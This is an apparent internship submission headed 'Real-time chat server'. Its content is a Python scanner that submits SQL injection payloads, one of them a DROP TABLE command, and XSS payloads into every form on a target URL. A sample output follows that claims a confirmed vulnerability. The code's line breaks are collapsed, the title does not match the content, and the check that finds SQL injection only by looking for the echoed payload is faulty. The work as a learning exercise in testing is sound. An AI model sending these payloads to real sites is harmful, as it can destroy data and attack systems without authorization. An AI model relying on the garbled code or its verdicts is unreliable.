**CODTECH INTERNSHIP TASK-02**

**REAL-TIME CHAT SERVER**

**NAME :** VANTHANA.V

**INTERN ID:** CTO4DY468

**Email** : [poojavanthana5@gmail.com](mailto:poojavanthana5@gmail.com)

**Objective:**

**Python Script:** import requests from bs4 import BeautifulSoup from urllib.parse import urljoin

# Payloads to test vulnerabilities sql\_payloads = ["' OR '1'='1", "'; DROP TABLE users; --"] xss\_payloads = ['<script>alert("XSS")</script>', '" onmouseover="alert(\'XSS\')"']

# Target URL (change this to your web app URL) target\_url = "http://example.com" # Replace with the actual URL

def get\_all\_forms(url):

soup = BeautifulSoup(requests.get(url).content, "html.parser") return soup.find\_all("form")

def get\_form\_details(form):

details = {}

action = form.attrs.get("action") method = form.attrs.get("method", "get").lower() inputs = [] for input\_tag in form.find\_all("input"): input\_type = input\_tag.attrs.get("type", "text") name = input\_tag.attrs.get("name") inputs.append({"type": input\_type, "name": name}) details["action"] = action details["method"] = method details["inputs"] = inputs return details

def test\_xss\_sql(form\_details, url):

vulnerable = False for payload in sql\_payloads + xss\_payloads: data = {} for input in form\_details["inputs"]: if input["name"]:

data[input["name"]] = payload form\_action = form\_details["action"] form\_url = urljoin(url, form\_action) if form\_details["method"] == "post":

res = requests.post(form\_url, data=data) else:

res = requests.get(form\_url, params=data) content = res.content.decode() if payload in content:

print(f"[!] Possible vulnerability detected with payload: {payload}") vulnerable = True return vulnerable

def scan(url):

forms = get\_all\_forms(url) print(f"[+] Detected {len(forms)} forms on {url}.") for form in forms:

form\_details = get\_form\_details(form) if test\_xss\_sql(form\_details, url): print("[!] Vulnerability confirmed!") else:

print("[+] No vulnerabilities detected.")

# Run scanner scan(target\_url)

**Sample Output:**

[+] Detected 1 forms on http://example.com.

[!] Possible vulnerability detected with payload: ' OR '1'='1

[!] Possible vulnerability detected with payload: <script>alert("XSS")</script> [!] Vulnerability confirmed!